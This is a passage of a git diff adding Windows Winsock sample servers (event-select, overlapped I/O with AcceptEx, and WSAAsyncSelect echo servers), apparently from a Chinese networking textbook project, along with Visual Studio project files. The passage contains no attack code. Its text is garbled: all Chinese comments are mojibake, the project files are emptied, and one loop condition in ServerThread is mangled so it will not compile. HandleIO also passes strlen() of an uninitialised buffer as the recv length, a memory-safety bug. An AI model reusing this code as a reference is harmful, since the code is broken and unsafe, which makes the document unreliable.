pThread, PSOCKET_OBJ pSocket) +{ + BOOL bRet = FALSE; + ::EnterCriticalSection(&pThread->cs); + if(pThread->nSocketCount < WSA_MAXIMUM_WAIT_EVENTS - 1) + { + if(pThread->pSockHeader == NULL) + { + pThread->pSockHeader = pThread->pSockTail = pSocket; + } + else + { + pThread->pSockTail->pNext = pSocket; + pThread->pSockTail = pSocket; + } + pThread->nSocketCount ++; + bRet = TRUE; + } + ::LeaveCriticalSection(&pThread->cs); + + // ²åÈë³É¹¦£¬ËµÃ÷³É¹¦´¦ÀíÁË¿Í»§µÄÁ¬½ÓÇëÇó + if(bRet) + { + ::InterlockedIncrement(&g_nTatolConnections); + ::InterlockedIncrement(&g_nCurrentConnections); + } + return bRet; +} + +// ½«Ò»¸öÌ×½Ú×Ö¶ÔÏó°²ÅŸø¿ÕÏеÄÏ̴߳¦Àí +void AssignToFreeThread(PSOCKET_OBJ pSocket) +{ + pSocket->pNext = NULL; + + ::EnterCriticalSection(&g_cs); + PTHREAD_OBJ pThread = g_pThreadList; + // ÊÔͼ²åÈëµ½ÏÖ´æÏß³Ì + while(pThread != NULL) + { + if(InsertSocketObj(pThread, pSocket)) + break; + pThread = pThread->pNext; + } + + // ûÓпÕÏÐỊ̈߳¬ÎªÕâ¸öÌ×½Ú×Ö´´½¨ÐµÄÏß³Ì + if(pThread == NULL) + { + pThread = GetThreadObj(); + InsertSocketObj(pThread, pSocket); + ::CreateThread(NULL, 0, ServerThread, pThread, 0, NULL); + } + ::LeaveCriticalSection(&g_cs); + + // ָʾÏß³ÌÖؽ¨¾ä±úÊý×é + ::WSASetEvent(pThread->events[0]); +} + +// ´Ó¸ø¶¨Ï̵߳ÄÌ×½Ú×Ö¶ÔÏóÁбíÖÐÒƳýÒ»¸öÌ×½Ú×Ö¶ÔÏó +void RemoveSocketObj(PTHREAD_OBJ pThread, PSOCKET_OBJ pSocket) +{ + ::EnterCriticalSection(&pThread->cs); + + // ÔÚÌ×½Ú×Ö¶ÔÏóÁбíÖвéÕÒÖ¸¶¨µÄÌ×½Ú×Ö¶ÔÏó£¬ÕÒµ½ºó½«Ö®ÒƳý + PSOCKET_OBJ pTest = pThread->pSockHeader; + if(pTest == pSocket) + { + if(pThread->pSockHeader == pThread->pSockTail) + pThread->pSockTail = pThread->pSockHeader = pTest->pNext; + else + pThread->pSockHeader = pTest->pNext; + } + else + { + while(pTest != NULL && pTest->pNext != pSocket) + pTest = pTest->pNext; + if(pTest != NULL) + { + if(pThread->pSockTail == pSocket) + pThread->pSockTail = pTest; + pTest->pNext = pSocket->pNext; + } + } + pThread->nSocketCount --; + + ::LeaveCriticalSection(&pThread->cs); + + // ָʾÏß³ÌÖؽ¨¾ä±úÊý×é + ::WSASetEvent(pThread->events[0]); + + // ˵Ã÷Ò»¸öÁ¬½ÓÖÐ¶Ï + ::InterlockedDecrement(&g_nCurrentConnections); +} + + +BOOL HandleIO(PTHREAD_OBJ pThread, PSOCKET_OBJ pSocket) +{ + // »ñÈ¡¾ßÌå·¢ÉúµÄÍøÂçʼþ + WSANETWORKEVENTS event; + ::WSAEnumNetworkEvents(pSocket->s, pSocket->event, &event); + do + { + if(event.lNetworkEvents & FD_READ) // Ì×½Ú×ֿɶÁ + { + if(event.iErrorCode[FD_READ_BIT] == 0) + { + char szText[256]; + int nRecv = ::recv(pSocket->s, szText, strlen(szText), 0); + if(nRecv > 0) + { + szText[nRecv] = '\0'; + printf("½ÓÊÕµ½Êý¾Ý£º%s \n", szText); + } + } + else + break; + } + else if(event.lNetworkEvents & FD_CLOSE) // Ì×½Ú×Ö¹Ø±Õ + { + break; + } + else if(event.lNetworkEvents & FD_WRITE) // Ì×½Ú×Ö¿Éд + { + if(event.iErrorCode[FD_WRITE_BIT] == 0) + { + } + else + break; + } + return TRUE; + } + while(FALSE); + + // Ì×½Ú×ֹرգ¬»òÕßÓдíÎó·¢Éú£¬³ÌÐò¶¼»áתµ½ÕâÀïÀ´Ö´ÐÐ + RemoveSocketObj(pThread, pSocket); + FreeSocketObj(pSocket); + return FALSE; +} + +PSOCKET_OBJ FindSocketObj(PTHREAD_OBJ pThread, int nIndex) // nIndex´Ó1¿ªÊ¼ +{ + // ÔÚÌ×½Ú×ÖÁбíÖвéÕÒ + PSOCKET_OBJ pSocket = pThread->pSockHeader; + while(--nIndex) + { + if(pSocket == NULL) + return NULL; + pSocket = pSocket->pNext; + } + return pSocket; +} + +DWORD WINAPI ServerThread(LPVOID lpParam) +{ + // È¡µÃ±¾Ï̶߳ÔÏóµÄÖ¸Õë + PTHREAD_OBJ pThread = (PTHREAD_OBJ)lpParam; + while(TRUE) + { + // µÈ´ýÍøÂçʼþ + int nIndex = ::WSAWaitForMultipleEvents( + pThread->nSocketCount + 1, pThread->events, FALSE, WSA_INFINITE, FALSE); + nIndex = nIndex - WSA_WAIT_EVENT_0; + // ²é¿´ÊÜÐŵÄʼþ¶ÔÏó + for(int i=nIndex; inSocketCount + 1; i++) + { + nIndex = ::WSAWaitForMultipleEvents(1, &pThread->events[i], TRUE, 1000, FALSE); + if(nIndex == WSA_WAIT_FAILED || nIndex == WSA_WAIT_TIMEOUT) + { + continue; + } + else + { + if(i == 0) // events[0]ÊÜÐÅ£¬Öؽ¨Êý×é + { + RebuildArray(pThread); + // Èç¹ûûÓпͻ§I/OÒª´¦ÀíÁË£¬Ôò±¾Ïß³ÌÍ˳ö + if(pThread->nSocketCount == 0) + { + FreeThreadObj(pThread); + return 0; + } + ::WSAResetEvent(pThread->events[0]); + } + else // ´¦ÀíÍøÂçʼþ + { + // ²éÕÒ¶ÔÓ¦µÄÌ×½Ú×Ö¶ÔÏóÖ¸Õ룬µ÷ÓÃHandleIO´¦ÀíÍøÂçʼþ + PSOCKET_OBJ pSocket = (PSOCKET_OBJ)FindSocketObj(pThread, i); + if(pSocket != NULL) + { + if(!HandleIO(pThread, pSocket)) + RebuildArray(pThread); + } + else + printf(" Unable to find socket object \n "); + } + } + } + } + return 0; +} + diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.sln" "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.sln" new file mode 100644 index 0000000..919d75b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EventSelectServer", "EventSelectServer.vcproj", "{A818E52B-2796-4CD8-A313-08E3BF9A0546}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A818E52B-2796-4CD8-A313-08E3BF9A0546}.Debug|Win32.ActiveCfg = Debug|Win32 + {A818E52B-2796-4CD8-A313-08E3BF9A0546}.Debug|Win32.Build.0 = Debug|Win32 + {A818E52B-2796-4CD8-A313-08E3BF9A0546}.Release|Win32.ActiveCfg = Release|Win32 + {A818E52B-2796-4CD8-A313-08E3BF9A0546}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.suo" "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.suo" new file mode 100644 index 0000000..b0bd024 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.suo" differ diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.vcproj" "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.vcproj" new file mode 100644 index 0000000..304d972 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/EventSelectServer.vcproj" @@ -0,0 +1,244 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/_desktop.ini" "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/EventSelectServer/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.cpp" "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.cpp" new file mode 100644 index 0000000..68fdd76 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.cpp" @@ -0,0 +1,407 @@ +/////////////////////////////////////////////////////// +// OverlappedServer.cppÎļþ + +#include "../common/initsock.h" + +#include +#include +#include + +CInitSock theSock; + +#define BUFFER_SIZE 1024 + +typedef struct _SOCKET_OBJ +{ + SOCKET s; // Ì×½Ú×Ö¾ä±ú + int nOutstandingOps; // ¼Ç¼´ËÌ×½Ú×ÖÉϵÄÖصþI/OÊýÁ¿ + + LPFN_ACCEPTEX lpfnAcceptEx; // À©Õ¹º¯ÊýAcceptExµÄÖ¸Õ루½ö¶Ô¼àÌýÌ×½Ú×Ö¶øÑÔ£© +} SOCKET_OBJ, *PSOCKET_OBJ; + +typedef struct _BUFFER_OBJ +{ + OVERLAPPED ol; // Öصþ½á¹¹ + char *buff; // send/recv/AcceptExËùʹÓõĻº³åÇø + int nLen; // buffµÄ³¤¶È + PSOCKET_OBJ pSocket; // ´ËI/OËùÊôµÄÌ×½Ú×Ö¶ÔÏó + + int nOperation; // Ìá½»µÄ²Ù×÷ÀàÐÍ +#define OP_ACCEPT 1 +#define OP_READ 2 +#define OP_WRITE 3 + + SOCKET sAccept; // ÓÃÀ´±£´æAcceptEx½ÓÊܵĿͻ§Ì×½Ú×Ö£¨½ö¶Ô¼àÌýÌ×½Ú×Ö¶øÑÔ£© + _BUFFER_OBJ *pNext; +} BUFFER_OBJ, *PBUFFER_OBJ; + +HANDLE g_events[WSA_MAXIMUM_WAIT_EVENTS]; // I/Oʼþ¾ä±úÊý×é +int g_nBufferCount; // ÉÏÊý×éÖÐÓÐЧ¾ä±úÊýÁ¿ +PBUFFER_OBJ g_pBufferHead, g_pBufferTail; // ¼Ç¼»º³åÇø¶ÔÏó×é³ÉµÄ±íµÄµØÖ· + +// ÉêÇëÌ×½Ú×Ö¶ÔÏóºÍÊÍ·ÅÌ×½Ú×Ö¶ÔÏóµÄº¯Êý +PSOCKET_OBJ GetSocketObj(SOCKET s) +{ + PSOCKET_OBJ pSocket = (PSOCKET_OBJ)::GlobalAlloc(GPTR, sizeof(SOCKET_OBJ)); + if(pSocket != NULL) + { + pSocket->s = s; + } + return pSocket; +} +void FreeSocketObj(PSOCKET_OBJ pSocket) +{ + if(pSocket->s != INVALID_SOCKET) + ::closesocket(pSocket->s); + ::GlobalFree(pSocket); +} + +PBUFFER_OBJ GetBufferObj(PSOCKET_OBJ pSocket, ULONG nLen) +{ + if(g_nBufferCount > WSA_MAXIMUM_WAIT_EVENTS - 1) + return NULL; + + PBUFFER_OBJ pBuffer = (PBUFFER_OBJ)::GlobalAlloc(GPTR, sizeof(BUFFER_OBJ)); + if(pBuffer != NULL) + { + pBuffer->buff = (char*)::GlobalAlloc(GPTR, nLen); + pBuffer->ol.hEvent = ::WSACreateEvent(); + pBuffer->pSocket = pSocket; + pBuffer->sAccept = INVALID_SOCKET; + + // ½«ÐµÄBUFFER_OBJÌí¼Óµ½ÁбíÖÐ + if(g_pBufferHead == NULL) + { + g_pBufferHead = g_pBufferTail = pBuffer; + } + else + { + g_pBufferTail->pNext = pBuffer; + g_pBufferTail = pBuffer; + } + g_events[++ g_nBufferCount] = pBuffer->ol.hEvent; + } + return pBuffer; +} + +void FreeBufferObj(PBUFFER_OBJ pBuffer) +{ + // ´ÓÁбíÖÐÒƳýBUFFER_OBJ¶ÔÏó + PBUFFER_OBJ pTest = g_pBufferHead; + BOOL bFind = FALSE; + if(pTest == pBuffer) + { + g_pBufferHead = g_pBufferTail = NULL; + bFind = TRUE; + } + else + { + while(pTest != NULL && pTest->pNext != pBuffer) + pTest = pTest->pNext; + if(pTest != NULL) + { + pTest->pNext = pBuffer->pNext; + if(pTest->pNext == NULL) + g_pBufferTail = pTest; + bFind = TRUE; + } + } + // ÊÍ·ÅËüÕ¼ÓõÄÄÚ´æ¿Õ¼ä + if(bFind) + { + g_nBufferCount --; + ::CloseHandle(pBuffer->ol.hEvent); + ::GlobalFree(pBuffer->buff); + ::GlobalFree(pBuffer); + } +} + +PBUFFER_OBJ FindBufferObj(HANDLE hEvent) +{ + PBUFFER_OBJ pBuffer = g_pBufferHead; + while(pBuffer != NULL) + { + if(pBuffer->ol.hEvent == hEvent) + break; + pBuffer = pBuffer->pNext; + } + return pBuffer; +} + +void RebuildArray() +{ + PBUFFER_OBJ pBuffer = g_pBufferHead; + int i = 1; + while(pBuffer != NULL) + { + g_events[i++] = pBuffer->ol.hEvent; + pBuffer = pBuffer->pNext; + } +} + +BOOL PostAccept(PBUFFER_OBJ pBuffer) +{ + PSOCKET_OBJ pSocket = pBuffer->pSocket; + if(pSocket->lpfnAcceptEx != NULL) + { + // ÉèÖÃI/OÀàÐÍ£¬Ôö¼ÓÌ×½Ú×ÖÉϵÄÖصþI/O¼ÆÊý + pBuffer->nOperation = OP_ACCEPT; + pSocket->nOutstandingOps ++; + + // ͶµÝ´ËÖصþI/O + DWORD dwBytes; + pBuffer->sAccept = + ::WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); + BOOL b = pSocket->lpfnAcceptEx(pSocket->s, + pBuffer->sAccept, + pBuffer->buff, + BUFFER_SIZE - ((sizeof(sockaddr_in) + 16) * 2), + sizeof(sockaddr_in) + 16, + sizeof(sockaddr_in) + 16, + &dwBytes, + &pBuffer->ol); + if(!b) + { + if(::WSAGetLastError() != WSA_IO_PENDING) + return FALSE; + } + return TRUE; + } + return FALSE; +}; + +BOOL PostRecv(PBUFFER_OBJ pBuffer) +{ + // ÉèÖÃI/OÀàÐÍ£¬Ôö¼ÓÌ×½Ú×ÖÉϵÄÖصþI/O¼ÆÊý + pBuffer->nOperation = OP_READ; + pBuffer->pSocket->nOutstandingOps ++; + + // ͶµÝ´ËÖصþI/O + DWORD dwBytes; + DWORD dwFlags = 0; + WSABUF buf; + buf.buf = pBuffer->buff; + buf.len = pBuffer->nLen; + if(::WSARecv(pBuffer->pSocket->s, &buf, 1, &dwBytes, &dwFlags, &pBuffer->ol, NULL) != NO_ERROR) + { + if(::WSAGetLastError() != WSA_IO_PENDING) + return FALSE; + } + return TRUE; +} + +BOOL PostSend(PBUFFER_OBJ pBuffer) +{ + // ÉèÖÃI/OÀàÐÍ£¬Ôö¼ÓÌ×½Ú×ÖÉϵÄÖصþI/O¼ÆÊý + pBuffer->nOperation = OP_WRITE; + pBuffer->pSocket->nOutstandingOps ++; + + // ͶµÝ´ËÖصþI/O + DWORD dwBytes; + DWORD dwFlags = 0; + WSABUF buf; + buf.buf = pBuffer->buff; + buf.len = pBuffer->nLen; + if(::WSASend(pBuffer->pSocket->s, + &buf, 1, &dwBytes, dwFlags, &pBuffer->ol, NULL) != NO_ERROR) + { + if(::WSAGetLastError() != WSA_IO_PENDING) + return FALSE; + } + return TRUE; +} + +BOOL HandleIO(PBUFFER_OBJ pBuffer) +{ + PSOCKET_OBJ pSocket = pBuffer->pSocket; // ´ÓBUFFER_OBJ¶ÔÏóÖÐÌáÈ¡SOCKET_OBJ¶ÔÏóÖ¸Õ룬ΪµÄÊÇ·½±ãÒýÓà + pSocket->nOutstandingOps --; + + // »ñÈ¡Öصþ²Ù×÷½á¹û + DWORD dwTrans; + DWORD dwFlags; + BOOL bRet = ::WSAGetOverlappedResult(pSocket->s, &pBuffer->ol, &dwTrans, FALSE, &dwFlags); + if(!bRet) + { + // ÔÚ´ËÌ×½Ú×ÖÉÏÓдíÎó·¢Éú£¬Òò´Ë£¬¹Ø±ÕÌ×½Ú×Ö£¬ÒƳý´Ë»º³åÇø¶ÔÏó¡£ + // Èç¹ûûÓÐÆäËüÅ׳öµÄI/OÇëÇóÁË£¬ÊÍ·Å´Ë»º³åÇø¶ÔÏ󣬷ñÔò£¬µÈ´ý´ËÌ×½Ú×ÖÉϵÄÆäËüI/OÒ²Íê³É + if(pSocket->s != INVALID_SOCKET) + { + ::closesocket(pSocket->s); + pSocket->s = INVALID_SOCKET; + } + + if(pSocket->nOutstandingOps == 0) + FreeSocketObj(pSocket); + + FreeBufferObj(pBuffer); + return FALSE; + } + + // ûÓдíÎó·¢Éú£¬´¦ÀíÒÑÍê³ÉµÄI/O + switch(pBuffer->nOperation) + { + case OP_ACCEPT: // ½ÓÊÕµ½Ò»¸öеÄÁ¬½Ó£¬²¢½ÓÊÕµ½Á˶Է½·¢À´µÄµÚÒ»¸ö·â°ü + { + // Ϊпͻ§´´½¨Ò»¸öSOCKET_OBJ¶ÔÏó + PSOCKET_OBJ pClient = GetSocketObj(pBuffer->sAccept); + + // Ϊ·¢ËÍÊý¾Ý´´½¨Ò»¸öBUFFER_OBJ¶ÔÏó£¬Õâ¸ö¶ÔÏó»áÔÚÌ×½Ú×Ö³ö´í»òÕ߹رÕʱÊÍ·Å + PBUFFER_OBJ pSend = GetBufferObj(pClient, BUFFER_SIZE); + if(pSend == NULL) + { + printf(" Too much connections! \n"); + FreeSocketObj(pClient); + return FALSE; + } + RebuildArray(); + + // ½«Êý¾Ý¸´ÖƵ½·¢ËÍ»º³åÇø + pSend->nLen = dwTrans; + memcpy(pSend->buff, pBuffer->buff, dwTrans); + + // ͶµÝ´Ë·¢ËÍI/O£¨½«Êý¾Ý»ØÏÔ¸ø¿Í»§£© + if(!PostSend(pSend)) + { + // ÍòÒ»³ö´íµÄ»°£¬ÊÍ·ÅÉÏÃæ¸ÕÉêÇëµÄÁ½¸ö¶ÔÏó + FreeSocketObj(pSocket); + FreeBufferObj(pSend); + return FALSE; + } + // ¼ÌÐøͶµÝ½ÓÊÜI/O + PostAccept(pBuffer); + } + break; + case OP_READ: // ½ÓÊÕÊý¾ÝÍê³É + { + if(dwTrans > 0) + { + // ´´½¨Ò»¸ö»º³åÇø£¬ÒÔ·¢ËÍÊý¾Ý¡£ÕâÀï¾ÍʹÓÃÔ­À´µÄ»º³åÇø + PBUFFER_OBJ pSend = pBuffer; + pSend->nLen = dwTrans; + + // ͶµÝ·¢ËÍI/O£¨½«Êý¾Ý»ØÏÔ¸ø¿Í»§£© + PostSend(pSend); + } + else // Ì×½Ú×Ö¹Ø±Õ + { + + // ±ØÐëÏȹرÕÌ×½Ú×Ö£¬ÒÔ±ãÔÚ´ËÌ×½Ú×ÖÉÏͶµÝµÄÆäËüI/OÒ²·µ»Ø + if(pSocket->s != INVALID_SOCKET) + { + ::closesocket(pSocket->s); + pSocket->s = INVALID_SOCKET; + } + + if(pSocket->nOutstandingOps == 0) + FreeSocketObj(pSocket); + + FreeBufferObj(pBuffer); + return FALSE; + } + } + break; + case OP_WRITE: // ·¢ËÍÊý¾ÝÍê³É + { + if(dwTrans > 0) + { + // ¼ÌÐøʹÓÃÕâ¸ö»º³åÇøͶµÝ½ÓÊÕÊý¾ÝµÄÇëÇó + pBuffer->nLen = BUFFER_SIZE; + PostRecv(pBuffer); + } + else // Ì×½Ú×Ö¹Ø±Õ + { + // ͬÑù£¬ÒªÏȹرÕÌ×½Ú×Ö + if(pSocket->s != INVALID_SOCKET) + { + ::closesocket(pSocket->s); + pSocket->s = INVALID_SOCKET; + } + + if(pSocket->nOutstandingOps == 0) + FreeSocketObj(pSocket); + + FreeBufferObj(pBuffer); + return FALSE; + } + } + break; + } + return TRUE; +} + + +void main() +{ + // ´´½¨¼àÌýÌ×½Ú×Ö£¬°ó¶¨µ½±¾µØ¶Ë¿Ú£¬½øÈë¼àÌýģʽ + int nPort = 4567; + SOCKET sListen = + ::WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED); + SOCKADDR_IN si; + si.sin_family = AF_INET; + si.sin_port = ::ntohs(nPort); + si.sin_addr.S_un.S_addr = INADDR_ANY; + ::bind(sListen, (sockaddr*)&si, sizeof(si)); + ::listen(sListen, 200); + + // Ϊ¼àÌýÌ×½Ú×Ö´´½¨Ò»¸öSOCKET_OBJ¶ÔÏó + PSOCKET_OBJ pListen = GetSocketObj(sListen); + + // ¼ÓÔØÀ©Õ¹º¯ÊýAcceptEx + GUID GuidAcceptEx = WSAID_ACCEPTEX; + DWORD dwBytes; + WSAIoctl(pListen->s, + SIO_GET_EXTENSION_FUNCTION_POINTER, + &GuidAcceptEx, + sizeof(GuidAcceptEx), + &pListen->lpfnAcceptEx, + sizeof(pListen->lpfnAcceptEx), + &dwBytes, + NULL, + NULL); + + // ´´½¨ÓÃÀ´ÖØн¨Á¢g_eventsÊý×éµÄʼþ¶ÔÏó + g_events[0] = ::WSACreateEvent(); + + // ÔÚ´Ë¿ÉÒÔͶµÝ¶à¸ö½ÓÊÜI/OÇëÇó + for(int i=0; i<5; i++) + { + PostAccept(GetBufferObj(pListen, BUFFER_SIZE)); + } + ::WSASetEvent(g_events[0]); + + while(TRUE) + { + int nIndex = + ::WSAWaitForMultipleEvents(g_nBufferCount + 1, g_events, FALSE, WSA_INFINITE, FALSE); + if(nIndex == WSA_WAIT_FAILED) + { + printf("WSAWaitForMultipleEvents() failed \n"); + break; + } + nIndex = nIndex - WSA_WAIT_EVENT_0; + for(int i=0; i<=nIndex; i++) + { + int nRet = ::WSAWaitForMultipleEvents(1, &g_events[i], TRUE, 0, FALSE); + if(nRet == WSA_WAIT_TIMEOUT) + continue; + else + { + ::WSAResetEvent(g_events[i]); + // ÖØн¨Á¢g_eventsÊý×é + if(i == 0) + { + RebuildArray(); + continue; + } + + // ´¦ÀíÕâ¸öI/O + PBUFFER_OBJ pBuffer = FindBufferObj(g_events[i]); + if(pBuffer != NULL) + { + if(!HandleIO(pBuffer)) + RebuildArray(); + } + } + } + } +} diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.sln" "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.sln" new file mode 100644 index 0000000..2c2a988 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "OverlappedServer", "OverlappedServer.vcproj", "{F19461C7-0755-470A-8B54-67480FE42BA0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F19461C7-0755-470A-8B54-67480FE42BA0}.Debug|Win32.ActiveCfg = Debug|Win32 + {F19461C7-0755-470A-8B54-67480FE42BA0}.Debug|Win32.Build.0 = Debug|Win32 + {F19461C7-0755-470A-8B54-67480FE42BA0}.Release|Win32.ActiveCfg = Release|Win32 + {F19461C7-0755-470A-8B54-67480FE42BA0}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.suo" "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.suo" new file mode 100644 index 0000000..336b918 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.suo" differ diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.vcproj" "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.vcproj" new file mode 100644 index 0000000..aff3782 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/OverlappedServer.vcproj" @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/_desktop.ini" "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/OverlappedServer/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.cpp" "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.cpp" new file mode 100644 index 0000000..e7e9f45 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.cpp" @@ -0,0 +1,136 @@ +/////////////////////////////////////////////// +// WSAAsyncSelect.cppÎļþ + +#include "../common/initsock.h" +#include + +#define WM_SOCKET WM_USER + 101 // ×Ô¶¨ÒåÏûÏ¢ +CInitSock theSock; + + +LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); +int main() +{ + char szClassName[] = "MainWClass"; + WNDCLASSEX wndclass; + // ÓÃÃèÊöÖ÷´°¿ÚµÄ²ÎÊýÌî³äWNDCLASSEX½á¹¹ + wndclass.cbSize = sizeof(wndclass); + wndclass.style = CS_HREDRAW|CS_VREDRAW; + wndclass.lpfnWndProc = WindowProc; + wndclass.cbClsExtra = 0; + wndclass.cbWndExtra = 0; + wndclass.hInstance = NULL; + wndclass.hIcon = ::LoadIcon(NULL, IDI_APPLICATION); + wndclass.hCursor = ::LoadCursor(NULL, IDC_ARROW); + wndclass.hbrBackground = (HBRUSH)::GetStockObject(WHITE_BRUSH); + wndclass.lpszMenuName = NULL; + wndclass.lpszClassName = szClassName ; + wndclass.hIconSm = NULL; + ::RegisterClassEx(&wndclass); + // ´´½¨Ö÷´°¿Ú + HWND hWnd = ::CreateWindowEx( + 0, + szClassName, + "", + WS_OVERLAPPEDWINDOW, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + NULL, + NULL, + NULL, + NULL); + if(hWnd == NULL) + { + ::MessageBox(NULL, "´´½¨´°¿Ú³ö´í£¡", "error", MB_OK); + return -1; + } + + USHORT nPort = 4567; // ´Ë·þÎñÆ÷¼àÌýµÄ¶Ë¿ÚºÅ + + // ´´½¨¼àÌýÌ×½Ú×Ö + SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + sockaddr_in sin; + sin.sin_family = AF_INET; + sin.sin_port = htons(nPort); + sin.sin_addr.S_un.S_addr = INADDR_ANY; + // °ó¶¨Ì×½Ú×Öµ½±¾µØ»úÆ÷ + if(::bind(sListen, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) + { + printf(" Failed bind() \n"); + return -1; + } + + // ½«Ì×½Ó×ÖÉèΪ´°¿Ú֪ͨÏûÏ¢ÀàÐÍ¡£ + ::WSAAsyncSelect(sListen, hWnd, WM_SOCKET, FD_ACCEPT|FD_CLOSE); + + // ½øÈë¼àÌýģʽ + ::listen(sListen, 5); + + // ´ÓÏûÏ¢¶ÓÁÐÖÐÈ¡³öÏûÏ¢ + MSG msg; + while(::GetMessage(&msg, NULL, 0, 0)) + { + // ת»¯¼üÅÌÏûÏ¢ + ::TranslateMessage(&msg); + // ½«ÏûÏ¢·¢Ë͵½ÏàÓ¦µÄ´°¿Úº¯Êý + ::DispatchMessage(&msg); + } + // µ±GetMessage·µ»Ø0ʱ³ÌÐò½áÊø + return msg.wParam; +} + + +LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) +{ + switch (uMsg) + { + case WM_SOCKET: + { + // È¡µÃÓÐʼþ·¢ÉúµÄÌ×½Ú×Ö¾ä±ú + SOCKET s = wParam; + // ²é¿´ÊÇ·ñ³ö´í + if(WSAGETSELECTERROR(lParam)) + { + ::closesocket(s); + return 0; + } + // ´¦Àí·¢ÉúµÄʼþ + switch(WSAGETSELECTEVENT(lParam)) + { + case FD_ACCEPT: // ¼àÌýÖеÄÌ×½Ó×Ö¼ì²âµ½ÓÐÁ¬½Ó½øÈë + { + SOCKET client = ::accept(s, NULL, NULL); + ::WSAAsyncSelect(client, hWnd, WM_SOCKET, FD_READ|FD_WRITE|FD_CLOSE); + } + break; + case FD_WRITE: + { + } + break; + case FD_READ: + { + char szText[1024] = { 0 }; + if(::recv(s, szText, 1024, 0) == -1) + ::closesocket(s); + else + printf("½ÓÊÕÊý¾Ý£º%s", szText); + } + break; + case FD_CLOSE: + { + ::closesocket(s); + } + break; + } + } + return 0; + case WM_DESTROY: + ::PostQuitMessage(0) ; + return 0 ; + } + + // ½«ÎÒÃDz»´¦ÀíµÄÏûÏ¢½»¸øϵͳ×öĬÈÏ´¦Àí + return ::DefWindowProc(hWnd, uMsg, wParam, lParam); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.sln" 